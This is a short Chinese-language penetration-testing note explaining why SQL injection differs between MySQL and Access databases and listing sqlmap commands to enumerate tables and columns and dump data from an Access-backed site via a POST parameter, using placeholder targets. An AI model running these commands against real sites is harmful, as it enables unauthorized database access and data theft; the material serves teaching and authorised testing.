Why
首先說明爲什麼不同呢?不同數據庫管理系統基本的SQL語句相同,但是支持的某些函數,數據庫的整體結構和組織方式是不相同的。比如mysql數據庫中特有的information_schema數據庫,裏面存有所有的數據庫名稱,以及各個數據庫中表的名稱等等信息。
對SQL注入的影響
數據庫管理系統的不同導致SQL注入時,進行利用的方式和難度不相同,Mysql數據庫中直接通過version()等函數以及infomation_schema數據庫得到數據庫版本,用戶名以及所有數據庫的信息。但access就不能通過這些方式。
SqlMAP對不同數據庫的處理
SqlMap在對access數據庫進行處理時,不能使用-dbs等選項,進行數據表的枚舉時,採用的是暴力破解的方式,字典位於txt/common-tables.txt中。
SqlMAP對Access數據庫架構網站注入的步驟如下:
sqlmap.py -u "http://ip/" --data="postdata" --level=5 --risk=3
sqlmap.py -u "http://ip/" --data="postdata" --level=5
--risk=3 --tables //枚舉表
sqlmap.py -u "http://ip/" --data="postdata" --level=5 --risk=3 --columns -T "tablename" // 枚舉列名
sqlmap.py -u "http://ip/" --data="postdata" --level=5 --risk=3 --dump -C "name1, name2" -T "tablename" //獲取name1, name 2列的數據
SqlMAP對mysql數據的注入步驟見《metasploit滲透測試魔鬼訓練營》 之 SQL注入